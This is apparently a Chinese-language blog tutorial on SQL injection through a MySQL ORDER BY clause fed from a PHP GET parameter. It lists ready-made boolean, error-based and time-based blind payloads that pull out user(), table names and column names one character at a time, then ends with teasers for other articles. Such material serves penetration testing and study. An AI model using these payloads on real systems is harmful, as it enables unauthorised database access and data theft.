Mysql Order By注入總結

2022-01-13 02:04:12 字數 3658 閱讀 2542

本文討論的內容指可控制的位置在order by子句後,如下order引數可控

"select * from goods order by $_get['order']"

在早期注入大量存在的時候利用order by子句進行快速猜解列數,再配合union select語句進行回顯。可以通過修改order引數為較大的整數看回顯情況來判斷。在不知道列名的情況下可以通過列的的序號來指代相應的列。但是經過測試這裡無法做運算,如order=3-1order=2是不一樣的

錯誤

正常

前面的判斷並不是絕對的,我們需要構造出類似and 1=1and 1=2的payload以便於注入出資料

通過name欄位排序

通過price欄位排序

/?order=(case+when+(1=1)+then+name+else+price+end) 通過name欄位排序

/?order=(case+when+(1=1)+then+name+else+price+end) 通過price欄位排序

通過name欄位排序

通過price欄位排序

可以觀測到排序的結果不一樣

在有些情況下無法知道列名,而且也不太直觀的去判斷兩次請求的差別,如下用if語句為例

正確

錯誤

/?order=if(1=1,1,(select+1+from+information_schema.tables))  正常

/?order=if(1=2,1,(select+1+from+information_schema.tables)) 錯誤

正常

錯誤

正確

錯誤

正確

錯誤

注意如果直接if(1=2,1,sleep(2)),sleep時間將會變成2*當前表中記錄的數目,將會對伺服器造成一定的拒絕服務攻擊

/?order=if(1=1,1,(select(1)from(select(sleep(2)))test)) 正常響應時間

/?order=if(1=2,1,(select(1)from(select(sleep(2)))test)) sleep 2秒

以猜解user()即root@localhost為例子,由於只能一位一位猜解,可以利用substr,substring,mid,以及leftright可以精準分割出每一位子串。然後就是比較操作了可以利用=,like,regexp等。這裡要注意like是不區分大小寫

通過下可以得知user()第一位為r,ascii碼的16進製為0x72

正確

錯誤

猜解當前資料的表名

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))  正確

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 錯誤

猜解指定表名中的列名

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 錯誤

在沒有過濾的情況下是能夠檢測到注入的

MYSQL order by排序與索引關係總結

我們平常所說的索引,如果沒有特別指明,都是指b 樹結構組織的b tree索引。其中聚集索引,次要索引,覆蓋索引,復合索引,字首索引,唯一索引預設都是使用b 樹索引,統稱索引。當然,除了b 樹這種型別的索引之外,還有哈稀索引 hash index 等。這裡主要討論一下innodb b tree索引的使...

MYSQL order by排序與索引關係總結

以下內容大部分來自於這篇部落格,僅加一些個人的理解 裡主要討論一下innodb b tree索引的使用,不提設計,只管使用。b tree索引主要作用於where和order by子句。這裡討論的均在mysql server 5.1.42測試 create table friends id int 1...

mysql 報錯注入寫檔案 mysql注入總結

目錄 0x00 mysql一般注入 select 0x01 mysql一般注入 insert update 0x02 mysql報錯注入 0x03 mysql一般盲注 0x04 mysql時間盲注 0x05 mysql其他注入技巧 0x06 mysql資料庫版本特性 0x07 宣告 正文 0x00 ...